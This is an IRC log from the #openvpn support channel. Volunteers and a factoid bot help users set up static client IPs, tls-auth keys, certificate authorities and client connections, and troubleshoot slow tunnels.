14:17 < Skapare> but it was not listed in !iporder ... and every time you mentioned --ifconfig-push you also talked about other things that made it uncertain of the context
14:18 <+pekster> #2 in !iporder
14:18 < Skapare> yeah I saw it in man page
14:18 <+pekster> No, in the !iporder bot output
14:18 <+pekster> Response #2
14:18 <+pekster> !iporder
14:18 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
14:18 <+pekster> See #2 above? See how it says "!static for more info" ??
14:18 <+pekster> Let's check that one now:
14:18 <+pekster> !static
14:18 < Skapare> #2 was not --ifconfig-push
14:18 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:18 <+pekster> Oh wow, look, #1 in the "more info" factoid talks about --ifconfig-push
14:19 < Skapare> it should have said "see !static for --ifconfig-push"
14:19 <+pekster> Well, I handed you relevent resources multiple times; I can't feel sorry for you if you can't be bothered to read them
14:20 < Skapare> if I learn enough about openvpn I do plan to write an all new document about how to use it that is worded a whole lot better ... but I doubt I'll be able to improve on @vpnHelper
14:21 <+pekster> Feel free to contribute at:
14:21 <+pekster> !wiki
14:21 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
14:21 < Skapare> ok
14:25 < Skapare> would I be able to do ... push "ifconfig ... from the ccd context ... yeah, I see that --ifconfig is not in the --psuh SHORT list ... but the way that is worded means it might be in the long list that is not shown
14:25 < Skapare> s/psuh/push/
14:26 <+pekster> Indeed
14:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:28 < Skapare> I do not know what "indeed" is referencing to ... assuming it is one of the clauses in my previous line
14:29 <+pekster> Indeed, you are able to push --ifconfig in a ccd context
14:29 <+pekster> In fact, --ifconfig-push says as much in the manpage where it reads: "This  option  must be associated with a specific client instance, which means that it must be specified either in a client instance config file  using  --client-config-dir or dynamically generated using a --client-connect script."
14:29 <+pekster> Was something about that bit confusing, or require clarification?
14:30 <+pekster> It's very frustrating to give you directives to read about, then have you ask things that are answered, as I read them, very clearly and in explicit terms in the manpage
14:30 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has joined #openvpn
14:30 < YeOldHinnerk> Hi
14:31 < YeOldHinnerk> I'm corrently configuring openvpn in a TomatoUSB as a server.
14:31 < YeOldHinnerk> I got quite far
14:31 < YeOldHinnerk> but I don't understand this tls-auth.
14:31 < YeOldHinnerk> from what I have read, it makes sense to use this for Incoming on the server and vice versa on the client
14:32 < YeOldHinnerk> when I enable this, I have a field for a static key - but what do I enter there with which syntax?
14:33 < Skapare> pekster: there was something it said that I need to do something, that I cannot see now ... maybe my imagination from all this confusion
14:33 < Skapare> pekster: ignore me and help the next user
14:33 < YeOldHinnerk> when I check my log, this is what it reads:
14:33  * Skapare goes off to put all these changes in a new AWS AMI and build it
14:34 < YeOldHinnerk> Sep 27 21:16:47 unknown daemon.notice openvpn[1381]: Control Channel Authentication: using 'static.key' as a free-form passphrase file
14:34 < YeOldHinnerk> Sep 27 21:16:47 unknown daemon.err openvpn[1381]: Key file 'static.key' used in --tls-auth contains insufficient key material [keys found=1 required=2]
14:34 < YeOldHinnerk> Sep 27 21:16:47 unknown daemon.notice openvpn[1381]: Exiting due to fatal error
14:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:34 < YeOldHinnerk> I tried googling this, but wasn't very successfull.
14:35 <+pekster> YeOldHinnerk: you need a pre-shared symmetric openvpn "static key" file for --tls-auth. The manpage for that option has details, and I think our bot does too:
14:35 <+pekster> !ta
14:35 <+pekster> !tls-auth
14:35 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to
14:35 <@vpnHelper> make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
14:35 <+pekster> See the manpage (!man) for a description of that option
14:36 < YeOldHinnerk> ah thank you!
14:36 < YeOldHinnerk> is this really necessary?
14:36 <+pekster> It's "extra protection", so it's not necessary; it merely improves security and allows the server to perform early-drop on packets not containing the right HMAC signature
14:37 < YeOldHinnerk> hm, ok I think I'll skip it for now.
14:38  * Skapare jas skipped that, too ... may look at it again when all else is worked out
14:38 < Skapare> jas=has
14:40 < YeOldHinnerk> ok, service is now running on my router... on to the next challenge: configuring the client
14:43 < YeOldHinnerk> brb
14:46 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:47 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has quit [Ping timeout: 245 seconds]
14:48 -!- YeOldHinnerk [~chatzilla@xdsl-85-197-15-245.netcologne.de] has joined #openvpn
14:48 < YeOldHinnerk> rehi
14:48 < YeOldHinnerk> Ok, now I'm on the client, outside my network.
14:48 < YeOldHinnerk> OpenVPN GUI won't work, I get a windows error message about some registry entry...
14:49 <+pekster> Read:
14:49 <+pekster> !gui
14:49 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
14:49 <+pekster> 3rd paragraph
14:49 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
14:50 < YeOldHinnerk> ah
14:50 < YeOldHinnerk> wish I hadn't wasted two days without coming here :)
14:51 < YeOldHinnerk> does it produce a log?
14:51 < Skapare> yes
14:51 < YeOldHinnerk> got it sorry
14:52 < Skapare> you can put log wherever you want or leave it in the system logging ... I made mine go to files in /var/openvpn
14:52 < Skapare> (status, too)
14:53 < YeOldHinnerk> Ok, I get an error:
14:53 <+pekster> The GUI automatically captures log output you can see in the "Show Status" window for an active connection, and keeps the last log you can view with the "View Log" option
14:53 < YeOldHinnerk> VERIFY ERROR: depth=1, error=self signed certificate in certificate chain: (...)
14:53 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
14:53 <+pekster> Sounds like you don't have the right CA cert on your client
14:53 <+pekster> The PKI section of the official !howto has detailed instructions/steps for setting up your PKI
14:54 < YeOldHinnerk> I think I followd that closely.
14:54 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 245 seconds]
14:54 < YeOldHinnerk> let me check that I didn'T confuse any files.
14:54 < YeOldHinnerk> yepp, it'S the right certificate.
14:55 <+pekster> openssl is failing the validation, which means that the cert the remote end is presenting is "self-signed" and not known by the client's ca.crt
14:56 <+pekster> You need the _same_ ca.crt on both ends (in a traditional setup anyway) and _both_ the client and server cert must be signed by the same CA
14:56 < YeOldHinnerk> i did that.
14:56 < YeOldHinnerk> or more precisely, it did what it said here: http://openvpn.net/index.php/open-source/documentation/howto.html#pki
14:57 <@vpnHelper> Title: HOWTO (at openvpn.net)
14:57 < YeOldHinnerk> there was one issue though:
14:57 <+pekster> I'm pointing out you will not get that error unless you did something wrong
14:57 < YeOldHinnerk> I got an error message about an openssl.conf file in a directory /etc/... though I'm working on windows.
14:57 <+pekster> That's safe to ignore
14:58 < Skapare> I got that error and it was because my CA file transfer program was not working ... once I fixed the transfer program, all worked
14:58 < YeOldHinnerk> I started over a few times, due to this problem
14:58 <+pekster> 'CA file transfer program' ?
14:58 < YeOldHinnerk> starting over from vars.bat
14:58 < Skapare> one of the scripts to transfer the generated ca.crt file
14:59 <+pekster> Easy-RSA doesn't ship with such a thing
14:59 < YeOldHinnerk> CA tranfer program?
14:59 < YeOldHinnerk> what the heck is that?
14:59 < YeOldHinnerk> I simply copied the file to the config directory in the client.
14:59 <+pekster> Oh, nevermind, not officially-supported stuff
14:59 < Skapare> it's not part of easy-rsa ... it grabs the file created by another script that calls easy-rsa
14:59 <+pekster> Yea, I don't care.
15:00 < Skapare> was just saying to <YeOldHinnerk> that his "self signed" issue can happen for a variety of reasons almost certainly caused on his end
15:00 <+pekster> That's more direct and an accurate description of the issue, yes
15:01 < YeOldHinnerk> when I started over I forgot to redo the init-config
15:01 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
15:01 < YeOldHinnerk> i kept working in the same cmd though
15:01 < YeOldHinnerk> is this a problem?
15:01 <+pekster> YeOldHinnerk: Sounds to me like you accidently signed the server cert with a different CA
15:01 <+pekster> But without knowing exactly what you did before it's hard to say
15:01 <+pekster> You need to use a single CA so that all the certs are signed up of that one PKI setup
15:01 <+pekster> out of*
15:02 < YeOldHinnerk> ok, so I'll start over will all keys and certificates from scratch.
15:03 <+pekster> This codebase is in beta, but here's a nice description of how PKI works that might help you understand it a bit more: http://pekster.sdf.org/code/projects/easyrsa3.html#overview
15:04 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org)
15:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
15:09 <+pekster> !learn verify as If you receive certificate-based 'VERIFY ERROR' messages, you can manually verify the remote cert against a local CA using openssl: `openssl verify -verbose -CAfile /local/ca.crt /remote/copy/of/other.crt`
15:09 <@vpnHelper> Joo got it.
15:09 <+pekster> !learn verify as Note that this requires you to manually transfer the remote certificate to the local system for testing
15:09 <@vpnHelper> Joo got it.
15:10 <+pekster> !learn verify You can also manually check issuer fingerprints with detailed cert output: `openssl x509 -in /some/cert.crt -noout -text` and compare against the CA cert fingerprint
15:10 <@vpnHelper> (learn [<channel>] <key> as <value>) -- Associates <key> with <value>. <channel> is only necessary if the message isn't sent on the channel itself. The word 'as' is necessary to separate the key from the value. It can be changed to another word via the learnSeparator registry value.
15:11 <+pekster> !learn verify as You can also manually check issuer fingerprints with detailed cert output: `openssl x509 -in /some/cert.crt -noout -text` and compare against the CA cert fingerprint
15:11 <@vpnHelper> Joo got it.
15:13 < YeOldHinnerk> btw: what is this "challenge password" I'm asked for when I generate the key for the server?
15:13 <+pekster> It's unnecessary and unused by both openssl and openvpn
15:13 <+pekster> My new codebase does away with it, as well as a number of other useless "left-overs" from the default openssl config
15:14 < YeOldHinnerk> ok
15:16 < YeOldHinnerk> btw: build-key-pass is not part of my easy-rsa, though it is mentioned in the tut
15:18 <+pekster> Interesting, it seems my copy of 2.3.2 has the same issue, though that file is present in the upstream easy-rsa v2 codebase. It could be a bad copy of the release file, or an installer build issue
15:19 <+pekster> You can use 'build-key' instead and use the GUI to set a password if you'd like
15:20 <+pekster> git tag v2.2.0 downloads are available here: https://github.com/OpenVPN/easy-rsa/tree/v2.2.0/easy-rsa/Windows
15:20 <@vpnHelper> Title: easy-rsa/easy-rsa/Windows at v2.2.0 · OpenVPN/easy-rsa · GitHub (at github.com)
15:20 < YeOldHinnerk> for the moment I don't care
15:20 < YeOldHinnerk> just thought I'd point it out to you
15:21 < YeOldHinnerk> ok, so now I followed the instruction down to a jota.
15:21 <+pekster> Yea, it's an issue that should get fixed; longer-term this is all going away in favor of a unified easy-rsa codebase that runs the same shell-code on both Windows and Linux
15:21 < YeOldHinnerk> Now I  just need to copy the parts I need to the server and the config dir
15:21 <+pekster> (right now Windows is kind of the "bastard child" of easy-rsa)
15:22 < YeOldHinnerk> oh, damn. I need to siwtch networks again to sign on to my router...
15:22 < YeOldHinnerk> brb
15:23 -!- YeOldHinnerk_ [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has joined #openvpn
15:26 < YeOldHinnerk_> ...building dh...
15:26 -!- YeOldHinnerk [~chatzilla@xdsl-85-197-15-245.netcologne.de] has quit [Ping timeout: 256 seconds]
15:27 -!- YeOldHinnerk_ is now known as YeOldHinnerk
15:30 < YeOldHinnerk> btw openvpn was the reason I had to finally dismiss my beloved WRT54GL - it already had so much stuff on it, vpn didn't fit anymore (I only noticed this since the VPN port never saved, but always lost after saving)
15:31 < YeOldHinnerk> last drop of port :)
15:36 <+pekster> I don't recall that unit's specs off-hand: I have run a custom build of openwrt with openvpn support that fit in a 4MB flash / 16MB RAM unit but it wasn't very comfortable. At least a 8MB/32MB split is better, and more won't hurt
15:37 < YeOldHinnerk> well, it was probably more due to my adblock script
15:37 < YeOldHinnerk> not really blaming openvpn
15:37 < YeOldHinnerk> was just the last straw
15:37 < tharkun> Starting virtual private network daemon: vpnclientWARN: could not open database for 4096 bits. Skipped <-- What does it mean in plain English?
15:37 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
15:38 <+pekster> tharkun: No idea; that's not an openvpn message
15:38 <+pekster> Consult whatever "virtual private network daemon" is
15:38 < tharkun> pekster: It is outputted when doing /etc/init.d/openvpn start on Debian
15:39 <+pekster> Still no clue; what happens when you call the openvpn command at a terminal instead on your config file?
15:40 <+pekster> I have no idea why that shows up in your log, but it is not openvpn causing it
15:41 < tharkun> pekster: Thanks I'll try to debug this isue from commandline
15:42 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:45 < tharkun> Next question I need to log from the network behind the server to a client connecting to the server. I can do it easily if I know the ip at the remote end of the tunnel. How can I make that ip static? Is that the way to go?
15:45 < YeOldHinnerk> pekster: could this be; maybe I had already a second ca on the other mschine. for one of my earlier tries
15:46 < YeOldHinnerk> you can turn the ip static by using the mac
15:46 < YeOldHinnerk> not that i got so far, but i glanced ahead :)
15:48 < YeOldHinnerk> ahhh....dh takes so long for 4096
15:48 < YeOldHinnerk> and yes, i know that can't be helped
15:49 < YeOldHinnerk> have a good workhorse though
15:49 <+pekster> tharkun: You want to assign a static IP across the VPN to the client? See !static in that case
15:50 < YeOldHinnerk> pekster: who are you? a developer, I guess?
15:51 -!- xrosnight [~quassel@116.76.169.18] has quit [Quit: having a sound sleep after hacking a lot! :p]
15:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
15:53 < YeOldHinnerk> are you sitting in milan?
15:53 < YeOldHinnerk> I will be travelling there next week.
15:53 < YeOldHinnerk> hope to have the vpn by then :)
16:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:02 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has quit [Read error: Connection reset by peer]
16:03 -!- YeOldHinnerk [~chatzilla@ip-62-143-97-88.unitymediagroup.de] has joined #openvpn
16:04 < tharkun> !static
16:04 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
16:05 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:08 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
16:09 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
16:11 < tharkun> !topology
16:11 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
16:12 < Cubox> Hey! I have a problem with my openvpn... My server can download this: ftp://ftp.free.fr/mirrors/ftp.gentoo.org/releases/amd64/autobuilds/current-iso/install-amd64-minimal-20130816.iso at 40mo/s, but the client connected to the server can only download it at around 10ko/s (it's unstable). But the traffic from the server to the client (via the server's openvpn ip address) is working at full speed...
16:22 -!- atmosx [~atma@gentoo-el.org] has joined #openvpn
16:23 -!- atmosx [~atma@gentoo-el.org] has quit [Client Quit]
16:24 -!- atmosx [~lnx@gentoo-el.org] has joined #openvpn
16:24 -!- atmosx [~lnx@gentoo-el.org] has quit [Client Quit]
16:27 < tharkun> !ccd
16:27 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
16:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
16:44 < Skapare> Cubox: slow CPU on either end?
16:44 < Cubox> cpu usage on the server: 2%
16:44 < Cubox> and 25% on the client
16:45 < Skapare> guess no so slow to slow the tunnel
16:45 < Cubox> yeah.
16:45 < Cubox> but the tunnel from the server to client is working fine, if the file (or http file) is on the server
16:45 < Cubox> if it's on the outside, it's superslow
16:45 < Skapare> I get limited speed ... but in my case it was from AWS ... still, the speed I get is about 12x faster than I was getting with IPsec
16:46 < Cubox> and the server -> output speed is good
16:48 < tharkun> Options error: --ifconfig-pool/--ifconfig-pool-persist requires --mode server
16:48 < tharkun> ??
16:48 < tharkun> Disregard please
16:51 -!- Carrot [carrot@unaffiliated/tommehm] has joined #openvpn
16:52 -!- SlutaTramsa_ [~SlutaTram@2a00:1a28:1251:178:73:210:61:1] has joined #openvpn
16:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
16:53 < Cubox> no one have an idea for my problem? :(
16:53 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 260 seconds]
16:54 < Skapare> not me
16:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
16:54 < EugeneKay> !mtu
16:54 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting
16:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:55 < EugeneKay> !tcp
16:55 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
16:55 -!- muh-die-kuh [~hco@bronx.lab9.de] has quit [Ping timeout: 256 seconds]
16:55 -!- Thermi_ [~Thermi@unaffiliated/thermi] has joined #openvpn
16:55 -!- Thermi_ is now known as Thermi
16:56 -!- muh-die-kuh [~hco@bronx.lab9.de] has joined #openvpn
16:56 < EugeneKay> Stupid bot.
16:56 < Skapare> if they ever add support for SCTP, there are ways to make it better than TCP ... but it still won't be as good as UDP
16:56 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 260 seconds]
16:57 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
16:57 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
16:57 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 246 seconds]
16:57 -!- rtbt [carrot@unaffiliated/tommehm] has quit [Remote host closed the connection]
16:57 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 246 seconds]
16:58 -!- Firartix [artix@unaffiliated/fira] has joined #openvpn
16:58 -!- Firartix is now known as Fira
16:58 -!- guntha [~guntha@unaffiliated/guntha] has quit [Ping timeout: 245 seconds]
16:59 -!- Perun [perun@chao5.net] has quit [Ping timeout: 245 seconds]
16:59 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 245 seconds]
17:01 -!- Serano [~serano@rooty.be] has joined #openvpn
17:01 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
17:01 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
17:02 < Cubox> EugeneKay: the mtu test config, in the server or client?
17:04 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:05 < Cubox> and this problem happened after a server reoot
17:05 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
17:05 < Cubox> reboot*
17:05 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
17:06 -!- [fred] [fred@konfuzi.us] has joined #openvpn
17:06 -!- Perun [perun@chao5.net] has joined #openvpn
17:14 < Cubox> same issue happening on my android phone...
17:15 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
17:27 <@krzee> you said 25% on the client
17:27 <@krzee> was that on a quad core system, and 1 core was at 100% ?
17:28 <@krzee> i ask because openvpn is single threaded and can only peg 1 core
17:28 < Cubox> I said 25%, but it was approximative. the cpu is not the problem here
17:28 < Cubox> 25% of each core
17:29 < Cubox> and openvpn don't use any
17:29 < Cubox> everything was working fine until I rebooted the server...
17:29 < Cubox> I get 2ko/s on clients.
17:35 -!- HyperGl__ [~HyperGlid@182.149.191.41] has joined #openvpn
17:35 <@krzee> had some kind of qos in place?
17:35 < Cubox> Nope.
17:35 <@krzee> well you need to figure out what you had that was temporary
17:35 < Cubox> Do you want to iptables dump?
17:36 < Cubox> this is a really odd problem...
17:36 <@krzee> sounds like not an openvpn problem
17:36 < Cubox> yeah
17:36 < Cubox> i'll try without any iptables rules
17:36 -!- HyperGli_ [~HyperGlid@182.149.56.1] has quit [Ping timeout: 240 seconds]
17:38 < Cubox> nope, no qos
17:39 < Cubox> krzee: any idea where I should dig for getting more infos about that? iptables flushed give the same output...
17:46 < Roklobsta> if i add more than one active p2p link do i need to add another tap or will one tap work with both?
17:49 <+pekster> Roklobsta: each openvpn instance requires its own unique tun (or tap) device
17:50 <@krzee> Cubox, without being the admin of your system and therefore knowing what has changed when you rebooted (cause it was not persistant) i do not know
17:51 < Cubox> nothing was supposed to be persistant... the openvpn conf (or any networking stuff) was static and survived for a couples of reboots
17:51 < Cubox> to not be persistant*
17:51 < Roklobsta> pekster: thanks
17:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
17:53 < Roklobsta> do I need to specify the tap adapter with --dev tunX or will it just use a spare one?
18:00 <+pekster> What's wrong with leaving simply `--dev tun` (or with tap, `--dev tap`) and letting the OS assign one?
18:00 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
18:00 <+pekster> Further, you souldn't name a tap device "tunX" or a tun device "tapX" -- while tecnically allowed, that is very silly
18:04 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:13 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
18:21 -!- HyperGl__ [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
18:21 -!- crocket [~crocket@unaffiliated/crocket] has joined #openvpn
18:21 < crocket> Can OpenVPN be configured to use private/public key pairs instead of X.509 certifications?
18:21 -!- HyperGli_ [~HyperGlid@182.149.191.41] has joined #openvpn
18:22 < crocket> Management of X.509 certifications is a mechanically wearing job.
18:23 -!- HyperGli_ [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
18:24 -!- HyperGli_ [~HyperGlid@182.149.191.41] has joined #openvpn
18:25 <+pekster> crocket: X509 is merely a signed public key with a DN
18:25 < crocket> pekster, They expire.
18:25 < crocket> And reissuing certificates is a wearing job.
18:26 <+pekster> So issue them for 50 years
18:26 <+pekster> Is that not long enough?
18:26 < crocket> probably, but that feels like a cheating.
18:26 <+pekster> (if you're still using RSA keys in 50 years you're doing something wrong anyway)
18:26 <+pekster> Not really; if you have a CRL infrastructure you can always revoke them early
18:26 < crocket> I'd prefer openssh public/private key pairs.
18:27 <+pekster> There's no way to verify them without a pre-exchange of public keys
18:27 <+pekster> (which is exactly why openvpn doesn't do that)
18:27 <+pekster> "No" would be the short answer to your question
18:27 < crocket> No?
18:27 < crocket> ok
18:27 < crocket> Plus,
18:27 <+pekster> Though only the openvpn server needs its own keypair
18:27 < crocket> The concept of DN is very annoying.
18:27 <+pekster> Clients can use strictly user/pass auth if you want
18:28 <+pekster> My new easyrsa3 codebase (in beta now) only assigns a CN to the DN
18:28 <+pekster> Is that not easy enough?
18:28 < crocket> Those names are designed to be domain names.
18:28 <+pekster> huh?
18:28 < crocket> And I frequently change domain names.
18:28 <+pekster> Not at all
18:28 <+pekster> I frequently name my CA "ca" and my server "server"
18:28 <+pekster> It's an arbitrary name
18:29 < crocket> I use an X.509 certification for various purposes.
18:29 < crocket> I use it for my webserver, too.
18:29 < crocket> It has to match my domain name.
18:29 <+pekster> for https, yes. X509 mandates no such thing
18:29 < crocket> not just https
18:29 <+pekster> You do _not_ need to have any relationship with a DN matching anything from DNS what-so-ever with openvpn
18:29 <+pekster> So no, you are quite mistaken in this regard
18:30 <+pekster> I frequently name my CA DN "CN=ca" and the server "CN=server" with wonderful results
18:30 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:30 < crocket> Various applications annoys me for not matching DN/CN with a domain name.
18:30 < crocket> annoys -> annoy
18:31 < crocket> I often have to configure them to ignore CN.
18:31 <+pekster> Then be annoyed. I don't care; you may use whatever DN you want as openvpn only cares about the CN
18:31 <+pekster> It is completely and utterly arbitrary. Name your DN "CN=I am annoyed" if it makes you feel better
18:31 < crocket> Is IPSec VPN an alternative?
18:31 <+pekster> Sure, though that's off-topic here
18:32 <+pekster> Do note that the X509 model provided by IPSec is no different at the core
18:32 <+pekster> Or from 802.1X
18:32 < crocket> Does IPSec also use X509 for public/private key pairs?
18:32 <+pekster> or many other public-key infrastructure systems
18:32 <+pekster> It can, should you choose
18:32 < crocket> Does it use other kinds of public/private key pairs?
18:33 <+pekster> Not really; you can implement it with PSK (openvpn also offers static-keyed crypto) or with kerberos, but the latter is basicall the same model as X509 just a different form of implementation
18:35 < crocket> kerberos!!!
18:39 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Ping timeout: 256 seconds]
18:40 < crocket> pekster, Is it safe to use user/pass pairs with OpenVPN?
18:41 <+pekster> If you trust that no one will connect that can't gain access to them, sure
18:42 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
18:42 <+pekster> It's "less safe" than keypairs on clients as mere knowledge of the user/pass is "proof" enough of identity, verses access to a private key and a valid signed certificate
18:42 < crocket> pekster, Are user/pass pairs sent heavily encrypted?
18:43 <+pekster> As long as you use a secure TLS cipher-suite, yes. See --tls-cipher in the openvpn manpage (!man) for details
18:45 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:47 -!- HyperGli_ [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
18:48 -!- HyperGli_ [~HyperGlid@182.149.191.41] has joined #openvpn
18:49 -!- ihdfnsv [~ihdfnsv@184.75.221.3] has joined #openvpn
18:49 < ihdfnsv> hi
18:49 < ihdfnsv> !goal
18:49 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:49 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
18:51 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Read error: Operation timed out]
18:52 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:52 < ihdfnsv> I would like to access the internet over a VPN. (I would be the client) Is this hardware sufficient for encrypting 31 or 32 mbps down, 6 or so up? http://www.amazon.com/INTEL-D865GVIPL-CELERON-13GHz-COMBO/dp/B00115Y8LK/ref=sr_1_5?s=pc&ie=UTF8&qid=1380318308&sr=1-5&keywords=motherboard+cpu+combo
18:52 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
18:54 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
18:55 -!- HyperGli_ [~HyperGlid@182.149.191.41] has quit [Remote host closed the connection]
18:55 -!- HyperGli_ [~HyperGlid@182.149.191.41] has joined #openvpn
18:55 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has joined #openvpn
19:01 -!- Cultist [~Cultist@c-98-223-209-0.hsd1.il.comcast.net] has quit [Ping timeout: 245 seconds]
19:02 < EugeneKay> "Yes"
19:03 < EugeneKay> I haven't tested one of those chips in particular, but you should be able to pass at that speed.
19:03 < EugeneKay> You may need to select a slower --cipher if it doesn't perform all the way / uses 100% CPU
19:03 < EugeneKay> !gigabit
